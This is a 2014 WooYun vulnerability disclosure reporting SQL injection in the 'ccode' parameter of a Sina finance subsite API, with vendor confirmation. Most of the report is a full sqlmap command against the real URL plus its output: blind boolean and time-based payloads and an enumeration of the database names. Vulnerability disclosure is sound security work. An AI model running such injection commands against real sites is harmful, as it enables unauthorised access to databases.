当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075090

漏洞标题:新浪网某分站SQL注入

相关厂商:新浪

漏洞作者: Jannock

提交时间:2014-09-04 22:45

修复时间:2014-10-19 22:46

公开时间:2014-10-19 22:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-06: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向核心白帽子及相关领域专家公开
2014-09-26: 细节向普通白帽子公开
2014-10-06: 细节向实习白帽子公开
2014-10-19: 细节向公众公开

简要描述:

新浪网某分站SQL注入

详细说明:

http://vip.stock.finance.sina.com.cn/fund_center/api/jsonp.php/IO.XSRV2.CallbackList%5B%27lAv4TYdRGBuGTcuo%27%5D/NetValueReturn_Service.NetValueReturnOpen?page=1&num=20&sort=form_start&asc=0&ccode=80000221&type2=0&type3=&%5Bobject%20HTMLDivElement%5D=sjzwy
注入参数:
ccode

漏洞证明:

root@bt:/pentest/database/sqlmap# python sqlmap.py -u "http://vip.stock.finance.sina.com.cn/fund_center/api/jsonp.php/IO.XSRV2.CallbackList%5B%27lAv4TYdRGBuGTcuo%27%5D/NetValueReturn_Service.NetValueReturnOpen?page=1&num=20&sort=form_start&asc=0&ccode=80000221&type2=0&type3=&%5Bobject%20HTMLDivElement%5D=sjzwy" -p ccode --dbms=mysql --dbs --threads 5
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:43:09
[22:43:09] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ccode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=1&num=20&sort=form_start&asc=0&ccode=80000221' AND 3928=3928 AND 'gswx'='gswx&type2=0&type3=&[object HTMLDivElement]=sjzwy
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page=1&num=20&sort=form_start&asc=0&ccode=80000221' AND SLEEP(5) AND 'PYVJ'='PYVJ&type2=0&type3=&[object HTMLDivElement]=sjzwy
---
[22:43:10] [INFO] testing MySQL
[22:43:11] [INFO] confirming MySQL
[22:43:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[22:43:12] [INFO] fetching database names
[22:43:12] [INFO] fetching number of databases
[22:43:12] [INFO] retrieved: 3
[22:43:15] [INFO] retrieving the length of query output
[22:43:14] [INFO] retrieved: 18
[22:43:35] [INFO] retrieved: _nformation_schema 17/18 (94%)
[22:43:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[22:43:43] [WARNING] if the problem persists please try to lower the number of used threads (--threads)
[22:43:44] [INFO] retrieved: information_schema
[22:43:44] [INFO] retrieving the length of query output
[22:43:44] [INFO] retrieved: 4
[22:43:49] [INFO] retrieved: fcdb
[22:43:49] [INFO] retrieving the length of query output
[22:43:49] [INFO] retrieved: 4
[22:43:54] [INFO] retrieved: test
available databases [3]:
[*] fcdb
[*] information_schema
[*] test
[22:43:54] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/vip.stock.finance.sina.com.cn'
[*] shutting down at 22:43:54

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-09-06 17:22

厂商回复:

感谢关注新浪安全。

最新状态:

暂无